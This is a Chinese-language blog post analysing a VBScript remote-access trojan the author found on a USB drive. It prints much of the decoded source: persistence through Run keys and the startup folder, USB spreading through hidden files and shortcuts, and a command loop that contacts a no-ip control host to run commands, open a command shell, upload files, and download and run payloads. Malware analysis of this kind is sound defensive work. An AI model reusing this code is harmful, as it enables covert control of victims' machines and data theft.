基本信息

样本仅供学习研究使用:

这个恶意代码也是某次从打印店回来后在U盘里获得的。脚本语言写恶意程序,关键要骗过会查看源代码的用户。为此,作者进行了简单的加密处理。

VirSCAN.org在线测试:

解密前:

Scanner results:33%Scanner(s) (13/39)found malware
File Name : vbs-virus-en.vbs.en.b64.vbs (File not down)
File Size :209255 byte
File Type :text/plain
MD5:124bb52a16d3fceb3b66c00897b14f95
SHA1:d83c5dae4ebc46383e686df8981259a654513c51
[Online report](http://r.virscan.org/report/7143a9ae27122bc3eb13a70704b4a6fc)

解密后:

Scanner results:51%Scanner(s) (20/39)found malware!
File Name : vbs-virus-de.vbs.en.b64.de.vbs (File not down)
File Size :15064 byte
File Type :text/plain
MD5:459af2ecc630989d2e36228a3720aca4
SHA1:d78cbaf3b3de8e57d6e8f2a25ed016894135f9d4
[Online report](http://r.virscan.org/report/c5b17ed5482846db85fb9b50d1e8b8e7)

解密后的查出率高了不少。

代码分析

加密方法很简单。预先把代码分解成一个一个字符,运行时先拼凑出代码字符串,然后调用executeglobal()执行。解密思路很简单,把执行语句改成输出语句就行,重定向到文件里。

下面分析解密后的代码。

第一行,作者说自己是重写别人的代码,还留下了他的skype号…… 整体来看,作者编码习惯还是不错的。注释很到位。

首先是用于配置的一些变量:

host = "spamer01.no-ip.org"
port = 3344
installdir = "%temp%"
lnkfile = true
lnkfolder = true

看样子是个木马。

设置了一些变量,这些分别是创建出来的WshShell对象,文件系统对象,xmlhttp对象:

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")

又设置了一些变量,其中:

  • installname存储它自己的名字;
  • startup存储开机启动文件夹的路径;
  • installdir内容变为存储之前installdir对应的环境变量的真实路径(上面作者预设的是%temp%);
  • 接着检查上步得到的installdir路径是否存在,不存在则采用默认的%temp%(属于二次确认);
  • spliter内容是<|>估计是用来解析数据;
  • sleep定义了睡眠时间是5000毫秒。
  • 还有一些其他变量,但没有具体初始化,到后面用到再说。
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

万事俱备,它开始搞事情了(后面会直接引用上面的变量进行说明)。

首先是一句on error resume next,即当前语句执行出错时不要终止,而是执行下一条语句,在VBS里这条语句使用频率非常高。

接着调用instance函数(VB中函数可以带返回值,过程不可以),其功能是:

  • 尝试读取HKEY_LOCAL_MACHINE\software下是否存在以它的名字命名的项。
  • 如果无(说明当前主机没有被感染),则判断它自己是否处于某个盘的根目录下(应该是通过这个方式来判断自己是不是在U盘里),是的话则向注册表HKEY_LOCAL_MACHINE\software下写入一个以它的名字命名的项,值为"true - "加当前日期,不是的话则写入同样的项,值变为"false - "加当前日期。接着执行upstart
  • 如果有(说明当前主机已被感染),直接执行后面的upstart

upstart的功能是添加开机启动项:

  • HKEY_CURRENT_USER\software\microsoft\windows\currentversion\runHKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run下分别添加一个以它名字命名的项,值相同,为wscript.exe //B installdir & installname//B告诉系统不要显示错误和提示信息(静默运行)。
  • 接着把它自己从当前位置复制到installdirstartup变量所指的路径。

接着继续在instance中执行。如果当前脚本的短路径和installdir & installname指向的短路径不同,则执行installdir & installname那个脚本,当前脚本退出。如果相同,说明它是从被感染主机上installdir启动的,接着调用err.clear显式清除错误记录。再尝试以追加方式打开installdir & installname(如果不存在则不创建文件),如果打开失败则退出脚本。至此instance函数结束。

function instance

on error resume next

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
      usbspreading = "true - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\", usbspreading, "REG_SZ"
   else
      usbspreading = "false - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\", usbspreading, "REG_SZ"
   end if
end If

upstart

set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
    wscript.quit
end If

err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit

end function
sub upstart ()

on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"

filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub

instance执行后,程序进入永真循环,逻辑很清晰。

while true
    install
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)
    case  "delete"
          param = cmd (1)
          deletefaf (param)
    case  "exit-process"
          param = cmd (1)
          exitprocess (param)
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)
    end select
	wscript.sleep sleep
wend

后面分析时不再整体列出函数内容。

while循环中,首先执行一个install过程。它首先调用upstart过程,功能如前所述。接着遍历所有驱动器:如果驱动器准备接受访问且可用空间大于0且是可移动磁盘,则执行下面的操作:

把自己复制到这个磁盘根目录下并设置为隐藏+系统文件属性;

遍历该磁盘下所有文件:如果lnkfile为假就退出循环(开头定义了它是真,吾爱网友的分析有误);如果文件名中有.且后缀不是lnk,那么就把它的属性设置为隐藏+系统文件,并在该磁盘根目录下创建这个文件的快捷方式,把快捷方式指向正常文件本身和该病毒脚本;然后读取注册表中HKEY_LOCAL_MACHINE\software\classesHKEY_LOCAL_MACHINE\software\classes\.下该文件的图标样式并根据情况设置该快捷方式的图标(防止用户生疑);

遍历该磁盘下所有子文件夹:如果lnkfolder为假就退出循环(开头定义了它是真,吾爱网友的分析有误); 设置文件夹属性为隐藏+系统文件,也为文件夹创建快捷方式,方法与上面相同。

到此,install结束。

接着调用post函数向控制端发送消息:准备完毕,并接收控制端的指令(vb中函数的返回值可以通过在函数体内对与函数名相同的变量赋值来传递)。

post函数短小精悍,可以看一下:

function post (cmd ,param)
post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function

接着根据控制端的指令进行操作:

  • execute:执行控制端发来的指令;
  • update:根据返回的内容写脚本,对其进行升级,然后运行新的脚本,退出当前脚本;
  • uninstall:执行uninstall过程,主要有四个动作:删除注册表下自己建的项,删除系统启动文件夹下的病毒脚本,删除自身,遍历所有可移动磁盘删除快捷方式及病毒并还原文件;
  • send:调用download过程,下载并运行返回的第二个参数文件和第三个参数文件;
  • site-send:调用sitedownloader过程,下载并运行返回的第二个参数文件和第三个参数文件;
  • recv:调用upload函数,上传第二个参数指定的文件(吾爱网友关于这个指令的功能描述有误);
  • enum-driver:调用enumdriver函数,获取当前可用驱动器列表并发送给控制端;
  • enum-faf:调用enumfaf函数,获取第二个参数指定的路径下所有文件和文件夹名称、大小和属性列表,并发送给控制端;
  • enum-process:调用enumprocess函数,获取当前进程列表,并发送给控制端;
  • cmd-shell:调用cmdshell函数,通过命令行执行第二个参数指定的命令,并把输出返回给控制端;
  • delete:调用deletefaf过程,删除第二个参数指定的文件或文件夹;
  • exit-process:调用exitprocess过程,通过taskkill /F /T /PID 结束掉第二个参数指定的进程;
  • sleep:仅sleep = eval (param)一条语句。作者似乎没有写完。

while循环完成一次,程序睡眠5秒。

总结

我觉得作者挺厉害的——能写出这个带有远控功能的脚本。作为一个远控,隐藏自己和完成命令同样重要。总的来说,这个恶意脚本不是很难,但很有意思。

作者没有写完这个脚本,有一些函数写了放在那里没有调用,还有一个与自身安全有关的函数,考虑还是很周到的。

另外,看到这个脚本我回想起了初中时自己也曾着迷于VBS,因为它的易学。当时还不知道其他语言(除了C,但是当时潜意识里认为C非常难学,根本没有学的打算)。我也写过诸如一元二次方程计算器、英语单词朗读、自动输入等的小脚本;我也经常泡在VBS百度贴吧里,记得VBS吧中最热闹的就是“VBS整人程序大全”,尽管里边大多数的恶作剧都非常没有技术含量,但却给编程小菜鸟们(包括当时的我)带来无限乐趣。不过我的VBS学习也到那时为止了。现在VBS更多给我一种过时的印象,毕竟,有JS在。然而,分析完这个VBS脚本后,我深感作者的厉害——有些人永远停留在“VBS整人程序大全”的水平上,有些人却不断进取。这个木马的功能之完全,技术之繁杂,思路之巧妙再次让我看到对待技术的不同心理——浮躁和静心最后导致的不同结果。与其蜻蜓点水一般泛泛掌握各种奇门妙术,取其皮毛,不如专注一方,得其真谛。当然,广博也是必要的,但是不应该浮躁。

高手总是能够用普通的东西做出不普通的杰作来。

梦在远方,路在脚下,加油。

参考

后来偶然找到了吾爱上的一个朋友分析此病毒的帖子,参考了一下。感谢分享。